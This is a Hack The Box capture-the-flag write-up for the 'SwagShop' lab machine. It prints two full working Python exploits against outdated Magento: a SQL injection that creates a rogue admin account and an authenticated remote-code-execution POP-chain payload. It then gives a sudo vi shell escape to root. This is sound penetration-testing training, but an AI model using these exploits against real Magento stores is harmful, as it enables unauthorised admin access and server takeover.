HTB Reports: SwagShop
SwagShop
- OS: Linux
- Level: Easy
- IP: 10.10.10.140
High-Level Summary
- User access: an outdated Magento installation is vulnerable to several RCE vulnerabilities, allowing us to get a low-privilege shell as www-data.
- Root access: www-data user has sudo access with no password to use
vi
, which leads to an easy root access.
Walkthrough
A quick scan with nmap
will reveal two open ports on the server:
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-02 13:32 CEST
Nmap scan report for 10.10.10.140
Host is up (0.049s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds
The ssh port isn’t interesting now. We navigate to the web server and find a magento installation:
In order to find more information about this installation, we can download magescan
.
As we run magescan
against our target we immediately discover its version number:
This version of Magento is quite outdated. We have high chances of finding a ready exploit for it. By having a look at the available public exploits, we find this one which doesn’t require authentication:
https://www.exploit-db.com/exploits/37977
The vulnerability is explained in details here:
http://blog.checkpoint.com/2015/04/20/analyzing-magento-vulnerability/
According to the article, Magento CE 1.9.1.0 is vulnerable.
We need to extract the actual python code from the proof of concept and we can also customise the username and password. The final exploit I have used is this one:
#!/usr/bin/python
import requests
import base64
import sys
target = "http://10.10.10.140/index.php"
username = 'werebug'
password = 'werepass'
if not target.startswith("http"):
target = "http://" + target
if target.endswith("/"):
target = target[:-1]
target_url = target + "/admin/Cms_Wysiwyg/directive/index/"
q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""
query = q.replace("\n", "").format(username=username, password=password)
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)
# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is\{\{block type=Adminhtml/report_search_grid output=getCsvFile\}\}
r = requests.post(target_url,
data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
"filter": base64.b64encode(pfilter),
"forwarded": 1})
if r.ok:
print "WORKED"
print ("Check {0}/admin with creds " + username + ":" + password).format(target)
else:
print "DID NOT WORK"
We run the script and we get the following output:
We can now navigate to the admin login page and login with our newly created credentials:
Now we have admin access. We can therefore have a look at other exploits. With a simple searchsploit magento
, we see there’s an authenticated RCE exploit which targets our version of Magento.
https://www.exploit-db.com/exploits/37811
The script requires a few configurations:
We can add our credentials, and navigate to /app/etc/local.xml
to find the installation date:
If we run the script as it is, it will fail complaining that there are two login[username]
inputs in the form. For some reason, the author of the original exploit had to manually add the field in the script, thus resulting in a duplicate entry.
Find the following lines in the exploit:
request = br.open(target)
br.select_form(nr=0)
br.form.new_control('text', 'login[username]', {'value': username}) # Had to manually add username control.
br.form.fixup()
br['login[username]'] = username
br['login[password]'] = password
Remove the new_control
and fixup
calls. We don’t need them.
Run the script and… it won’t work.
If we look at the requests in Wireshark, we see that our query returns no data.
Luckily the system is kind enough to suggest us other options that we can use for our query. We are currently querying for data in the last 7 days, and there are no data available. Let’s modify our script to look for data in the last 2 years.
In order to do so, change 7d
to 2y
in the target url. The lines of code we are looking for are the following:
request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)
Our exploit will look like this:
#!/usr/bin/python
# Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE
# Google Dork: "Powered by Magento"
# Date: 08/18/2015
# Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
# Vendor Homepage: http://magento.com/
# Software Link: https://www.magentocommerce.com/download
# Version: 1.9.0.1 and below
# Tested on: Ubuntu 15
# CVE : none
from hashlib import md5
import sys
import re
import base64
import mechanize
def usage():
print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""
sys.exit()
if len(sys.argv) != 3:
usage()
# Command-line args
target = sys.argv[1]
arg = sys.argv[2]
# Config.
username = 'werebug'
password = 'werepass'
php_function = 'system' # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000' # This needs to be the exact date from /app/etc/local.xml
# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
'\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"' \
'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00' \
'_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
len(arg), arg)
# Setup the mechanize browser and options
br = mechanize.Browser()
#br.set_proxies({"http": "localhost:8080"})
br.set_handle_robots(False)
request = br.open(target)
br.select_form(nr=0)
br['login[username]'] = username
br['login[password]'] = password
br.method = "POST"
request = br.submit()
content = request.read()
url = re.search("ajaxBlockUrl = \'(.*)\'", content)
url = url.group(1)
key = re.search("var FORM_KEY = '(.*)'", content)
key = key.group(1)
request = br.open(url + 'block/tab_orders/period/2y/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)
payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()
exploit = tunnel + '?ga=' + payload + '&h=' + gh
try:
request = br.open(exploit)
except (mechanize.HTTPError, mechanize.URLError) as e:
print e.read()
We can now run out script and obtain RCE:
Now that we have RCE, we can run a few commands to check how to obtain a reverse shell. My first try was which nc
, and turns out that nc
is installed on the system.
Setup your netcat listener to get a reverse shell:
Privilege escalation on this machine is very simple.
We upload LinEnum.sh
on the target machine, run it and it will immediately tell us how to obtain root:
This means we can run vi
as root for any file in /var/www/html
using sudo
.
So we run:
sudo vi /var/www/html/pwn
And once the editor opens, we escape to a shell with :sh
:
Now we own SwagShop.